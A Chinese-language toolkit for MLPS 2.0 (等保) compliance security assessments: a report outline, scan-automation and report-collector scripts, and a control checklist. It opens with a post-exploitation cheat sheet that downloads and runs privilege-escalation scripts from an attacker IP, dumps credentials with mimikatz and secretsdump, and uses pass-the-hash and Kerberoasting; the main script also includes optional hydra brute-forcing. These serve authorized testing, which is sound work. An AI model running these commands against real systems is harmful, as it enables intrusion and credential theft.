Djbh Assessment

# Metasploit自动化
msfconsole -q -x "use auxiliary/scanner/smb/smb_version; set RHOSTS <目标IP>; run; exit"

# 已知漏洞利用
searchsploit --nmap scan_report.xml  # 将nmap结果与exploit-db关联

# 权限提升（获取shell后）
wget http://<攻击机IP>/linpeas.sh -O /tmp/lp.sh && bash /tmp/lp.sh
wget http://<攻击机IP>/winPEAS.exe -O C:\Users\Public\wp.exe && C:\Users\Public\wp.exe

# 网络拓扑发现（从立足点）
# Linux上
for i in $(ip route | grep -oP '(\d+\.){2}\d+\.\d+/\d+'); do fping -a -g $i 2>/dev/null; done

# 凭据收集
mimikatz
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py domain/user:pass@<DC_IP>

# 横向移动
crackmapexec smb <内网段> -u user -H NTLM_HASH --shares
python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes :NTLM_HASH domain/user@<目标IP>
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes :NTLM_HASH domain/user@<目标IP>

# Kerberoasting
python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py domain/user:pass -request -outputfile kerb.txt
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt

1. 测评项目概述
   1.1 被测系统描述
   1.2 测评等级与依据
   1.3 测评范围

2. 测评过程与方法
   2.1 测评流程
   2.2 测评方法（访谈/核查/测试）

3. 被测系统概述
   3.1 网络拓扑
   3.2 资产清单
   3.3 业务应用清单

4. 单元测评结果
   4.1 安全物理环境
   4.2 安全通信网络
   4.3 安全区域边界
   4.4 安全计算环境
   4.5 安全管理中心
   4.6 安全管理制度
   4.7 安全管理机构
   4.8 安全管理人员
   4.9 安全建设管理
   4.10 安全运维管理

5. 整体测评结果
   5.1 层面间安全补偿分析
   5.2 区域间安全补偿分析

6. 综合结论与评分
   6.1 安全技术得分
   6.2 安全管理得分
   6.3 综合得分与符合性

7. 不符合项与整改建议

8. 附录
   8.1 测评记录表
   8.2 工具输出原始文件
   8.3 截图/照片证据

#!/bin/bash
# 等保测评报告汇总 - 将所有扫描结果整合到报告目录
# 用法: ./report_collector.sh <项目名> <扫描结果目录>

PROJECT=$1
SCAN_DIR=$2
REPORT_DIR="./djbh_report_${PROJECT}_$(date +%Y%m%d_%H%M%S)"

if [ -z "$PROJECT" ] || [ -z "$SCAN_DIR" ]; then
    echo "用法: $0 <项目名> <扫描结果目录>"
    exit 1
fi

mkdir -p "${REPORT_DIR}"/{01_asset,02_baseline,03_vuln,04_pentest,05_evidences,06_raw}

# 汇总nmap结果
cp "${SCAN_DIR}"/phase1_*.xml "${REPORT_DIR}/06_raw/" 2>/dev/null
cp "${SCAN_DIR}"/*.xml "${REPORT_DIR}/06_raw/" 2>/dev/null

# 生成HTML报告
for xml in "${REPORT_DIR}/06_raw/"*.xml; do
    [ -f "$xml" ] && xsltproc "$xml" -o "${REPORT_DIR}/06_raw/$(basename "$xml" .xml).html" 2>/dev/null
done

# 汇总漏洞列表
grep -hri 'CVE-\|高危\|严重\|High\|Critical' "${SCAN_DIR}/"*.txt 2>/dev/null > "${REPORT_DIR}/03_vuln/vuln_summary.txt"

echo "报告目录: ${REPORT_DIR}"
echo "请将访谈记录、核查截图、复测结果放入对应子目录"

#!/bin/bash
# 等保2.0测评全流程自动化脚本
# 环境: Kali Linux
# 授权: 必须获得客户书面授权后方可执行

set -euo pipefail

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

log_info()  { echo -e "${GREEN}[INFO]${NC}  $(date '+%H:%M:%S') $*"; }
log_warn()  { echo -e "${YELLOW}[WARN]${NC}  $(date '+%H:%M:%S') $*"; }
log_error() { echo -e "${RED}[ERROR]${NC} $(date '+%H:%M:%S') $*"; }

usage() {
    cat <<EOF
用法: ./djbh_full_scan.sh <配置文件>
配置文件格式 (djbh.conf):
  TARGET_NETWORK="192.168.1.0/24"
  TARGET_WEB_URL="https://www.example.com"
  TARGET_WEB_IP="192.168.1.10"
  ASSESSMENT_LEVEL="3"          # 等保级别：2 或 3
  ENABLE_PENTEST="false"        # 是否执行渗透测试阶段
  ENABLE_BRUTEFORCE="false"     # 是否执行口令爆破
  SCAN_SPEED="4"                # nmap -T 速率
  EXCLUDE_IPS="192.168.1.1,192.168.1.254"
  MANAGER_NETWORK="10.0.0.0/24" # 管理网段（等保三级必填）
EOF
    exit 1
}

# 加载配置
CONFIG_FILE="${1:-}"
[ -z "$CONFIG_FILE" ] && usage
[ ! -f "$CONFIG_FILE" ] && { log_error "配置文件不存在: $CONFIG_FILE"; exit 1; }
source "$CONFIG_FILE"

# 校验必要参数
[ -z "${TARGET_NETWORK:-}" ] && { log_error "TARGET_NETWORK 未配置"; exit 1; }
LEVEL="${ASSESSMENT_LEVEL:-2}"

TIMESTAMP=$(date +%Y%m%d_%H%M%S)
REPORT_BASE="./djbh_report_${TIMESTAMP}"
mkdir -p "${REPORT_BASE}"/{01_asset_discovery,02_baseline_check,03_vulnerability_scan,04_pentest,05_logs}

exec > >(tee -a "${REPORT_BASE}/05_logs/full_scan.log") 2>&1

log_info "========================================="
log_info "等保${LEVEL}级测评开始"
log_info "目标网络: ${TARGET_NETWORK}"
log_info "报告目录: ${REPORT_BASE}"
log_info "========================================="

# =============================================
# 阶段1: 信息收集与资产发现
# =============================================
log_info "阶段1: 信息收集与资产发现"

log_info "  1.1 存活主机发现..."
nmap -sn -PE -PP -PM -T"${SCAN_SPEED:-4}" "${TARGET_NETWORK}" \
    -oA "${REPORT_BASE}/01_asset_discovery/01_live_hosts" \
    --exclude "${EXCLUDE_IPS:-}"

grep "Nmap scan report" "${REPORT_BASE}/01_asset_discovery/01_live_hosts.nmap" | \
    awk '{print $NF}' | tr -d '()' > "${REPORT_BASE}/01_asset_discovery/hosts.list"

HOST_COUNT=$(wc -l < "${REPORT_BASE}/01_asset_discovery/hosts.list")
log_info "  发现存活主机: ${HOST_COUNT} 台"

if [ "$HOST_COUNT" -eq 0 ]; then
    log_warn "  未发现存活主机，检查TARGET_NETWORK配置"
    exit 0
fi

log_info "  1.2 全端口扫描..."
masscan -p1-65535 --rate=2000 -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
    -oJ "${REPORT_BASE}/01_asset_discovery/02_masscan_ports.json" 2>/dev/null || \
    log_warn "  masscan执行异常，跳过"

log_info "  1.3 服务版本与OS检测..."
nmap -sS -sV -sC -O -T"${SCAN_SPEED:-4}" \
    -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
    -oA "${REPORT_BASE}/01_asset_discovery/03_service_detect" \
    --exclude "${EXCLUDE_IPS:-}"

# =============================================
# 阶段2: 安全配置基线检查
# =============================================
log_info "阶段2: 安全配置基线检查"

log_info "  2.1 TLS/SSL配置检查..."
if [ -n "${TARGET_WEB_URL:-}" ]; then
    testssl.sh --csvfile "${REPORT_BASE}/02_baseline_check/tls_report.csv" \
        "${TARGET_WEB_URL}" 2>/dev/null || log_warn "  testssl.sh 执行异常"
fi

log_info "  2.2 高危端口暴露检查..."
nmap -p 21,23,135,139,445,3389,6379,27017,2375,2376,6443 \
    --open -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
    -oA "${REPORT_BASE}/02_baseline_check/04_danger_ports" \
    --exclude "${EXCLUDE_IPS:-}"

log_info "  2.3 SMB共享枚举..."
nmap -p 445 --script smb-enum-shares,smb-enum-users \
    -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
    -oA "${REPORT_BASE}/02_baseline_check/05_smb_enum" 2>/dev/null || true

log_info "  2.4 SNMP默认团体字..."
while read -r ip; do
    onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings.txt \
        "$ip" >> "${REPORT_BASE}/02_baseline_check/06_snmp_community.txt" 2>/dev/null || true
done < "${REPORT_BASE}/01_asset_discovery/hosts.list"

# =============================================
# 阶段3: 漏洞扫描
# =============================================
log_info "阶段3: 漏洞扫描"

log_info "  3.1 常见CVE检测..."
nmap --script vuln --script-timeout 60s \
    -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
    -oA "${REPORT_BASE}/03_vulnerability_scan/07_vuln_scan" \
    --exclude "${EXCLUDE_IPS:-}" || log_warn "  vuln 脚本部分超时"

log_info "  3.2 数据库安全检测..."
# MySQL
nmap -p 3306 --script mysql-empty-password,mysql-enum \
    -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
    -oA "${REPORT_BASE}/03_vulnerability_scan/08_mysql" 2>/dev/null || true

# Redis
nmap -p 6379 --script redis-info \
    -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
    -oA "${REPORT_BASE}/03_vulnerability_scan/09_redis" 2>/dev/null || true

# MongoDB
nmap -p 27017 --script mongodb-info \
    -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
    -oA "${REPORT_BASE}/03_vulnerability_scan/10_mongodb" 2>/dev/null || true

# =============================================
# 阶段4: 渗透测试（可选）
# =============================================
if [ "${ENABLE_PENTEST:-false}" = "true" ]; then
    log_warn "阶段4: 渗透测试（已启用）"

    if [ -n "${TARGET_WEB_URL:-}" ]; then
        log_info "  4.1 Web漏洞扫描..."
        nikto -h "${TARGET_WEB_URL}" -output "${REPORT_BASE}/04_pentest/nikto_report.html" \
            -Format html 2>/dev/null || log_warn "  nikto 执行异常"

        nuclei -u "${TARGET_WEB_URL}" -silent \
            -o "${REPORT_BASE}/04_pentest/nuclei_report.txt" 2>/dev/null || \
            log_warn "  nuclei 执行异常"
    fi

    if [ "${ENABLE_BRUTEFORCE:-false}" = "true" ] && [ -n "${TARGET_WEB_URL:-}" ]; then
        log_warn "  4.2 口令爆破（需确认授权）..."
        hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt \
            -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt \
            "${TARGET_WEB_IP:-${TARGET_WEB_URL}}" http-post-form \
            "/login:user=^USER^&pass=^PASS^:F=error" 2>/dev/null || true
    fi
else
    log_info "阶段4: 渗透测试（已跳过，设置 ENABLE_PENTEST=true 启用）"
fi

# =============================================
# 阶段5: 等保三级 - 安全管理中心
# =============================================
if [ "$LEVEL" -ge 3 ] && [ -n "${MANAGER_NETWORK:-}" ]; then
    log_info "阶段5: 安全管理中心检测（等保${LEVEL}级要求）"
    nmap -sn "${MANAGER_NETWORK}" -oA "${REPORT_BASE}/02_baseline_check/11_manager_network" 2>/dev/null || true
fi

# =============================================
# 汇总报告
# =============================================
log_info "========================================="
log_info "扫描完成，生成汇总..."
log_info "========================================="

# 汇总高危发现
echo "=== 高危发现汇总 ===" > "${REPORT_BASE}/findings_summary.txt"
grep -rn 'VULNERABLE\|Critical\|High\|高危\|严重\|CVE-' \
    "${REPORT_BASE}/" --include="*.txt" --include="*.nmap" 2>/dev/null \
    >> "${REPORT_BASE}/findings_summary.txt" || echo "  未发现明显高危项" >> "${REPORT_BASE}/findings_summary.txt"

cat <<EOF
=========================================
  等保${LEVEL}级测评自动化扫描完成
=========================================
  报告目录: ${REPORT_BASE}
  ├── 01_asset_discovery/   # 资产发现
  ├── 02_baseline_check/    # 基线检查
  ├── 03_vulnerability_scan/ # 漏洞扫描
  ├── 04_pentest/           # 渗透测试
  └── 05_logs/              # 执行日志

  → 汇总文件: ${REPORT_BASE}/findings_summary.txt
=========================================
  下一步:
  1. 执行各安全域"访谈"环节
  2. 远程登录目标主机执行"核查"命令（见本技能2.4节）
  3. 将访谈/核查结果填入测评记录表
  4. 使用 report_collector.sh 生成最终报告
=========================================
EOF

安全域,控制点,测评指标编号,指标描述,测评方法,测评结果(符合/部分符合/不符合),问题描述,关联工具命令,截图编号
安全计算环境,身份鉴别,a),操作系统是否存在空口令账户,核查+测试,,,awk -F: ... /etc/shadow,
安全计算环境,身份鉴别,b),是否配置密码复杂度策略,核查+测试,,,cat /etc/pam.d/common-password,
安全计算环境,身份鉴别,c),是否配置登录失败锁定策略,核查+测试,,,grep pam_tally2 /etc/pam.d/,
安全计算环境,身份鉴别,d),远程管理是否加密,核查+测试,,,nmap --script ssl-enum-ciphers,
安全计算环境,访问控制,a),是否限制默认账户访问,核查,,,cat /etc/passwd | grep -E,
安全区域边界,访问控制,a),边界设备访问控制策略是否默认拒绝,访谈+核查+测试,,,nmap --script firewall-bypass,
安全通信网络,通信传输,a),通信传输是否加密,核查+测试,,,,testssl.sh,
安全管理中心,集中管控,a),是否部署集中安全管理平台,访谈+核查,,,,nmap -p 443 管理网段,